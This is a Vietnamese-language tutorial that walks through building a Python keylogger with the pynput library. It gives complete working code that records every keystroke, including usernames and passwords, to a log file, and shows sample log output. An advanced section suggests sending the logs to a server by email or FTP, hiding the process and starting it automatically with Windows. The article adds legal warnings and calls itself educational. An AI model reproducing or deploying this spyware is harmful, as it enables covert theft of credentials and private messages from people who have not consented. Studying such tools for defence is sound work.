Keylogger là chương trình ghi lại mọi phím bấm (keystrokes) vào file log. Có thể ghi lại username, password, tin nhắn... Chỉ dùng cho mục đích học tập, nghiên cứu bảo mật, kiểm thử hệ thống có sự cho phép.
Cài đặt pynput
pip install pynput
Xây dựng Keylogger cơ bản
1. Import thư viện
from pynput.keyboard import Key, Listener import logging
2. Cấu hình logging
log_dir = r"C:/Users/YourName/Desktop/"
logging.basicConfig(
filename=log_dir + "keyLog.txt",
level=logging.DEBUG,
format='%(asctime)s: %(message)s'
)
3. Xử lý sự kiện nhấn phím
def on_press(key):
logging.info(str(key))
4. Khởi động Listener
with Listener(on_press=on_press) as listener:
listener.join()
Chương trình hoàn chỉnh
from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/Users/YourName/Desktop/"
logging.basicConfig(
filename=log_dir + "keyLog.txt",
level=logging.DEBUG,
format='%(asctime)s: %(message)s'
)
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
Kết quả log (ví dụ)
2019-01-18 17:06:21,854: Key.cmd 2019-01-18 17:06:22,022: 'd' 2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' ...
Mở rộng (Nâng cao)
- Ghi cả
on_releaseđể phát hiện tổ hợp phím (Ctrl+C, Alt+Tab...) - Mã hóa file log
- Gửi log về server qua email/FTP (chỉ môi trường test được phép)
- Ẩn tiến trình, tự khởi động cùng Windows
⚠️ Cảnh báo pháp lý & đạo đức
- Cài keylogger vào máy người khác mà không có sự đồng ý là vi phạm pháp luật (xâm phạm quyền riêng tư, luật an ninh mạng)
- Chỉ sử dụng trên máy tính của mình hoặc môi trường test có sự cho phép bằng văn bản
- Phần mềm diệt virus sẽ phát hiện keylogger là malware
- Mục đích bài viết: Hiểu cơ chế để phòng chống, không phải để tấn công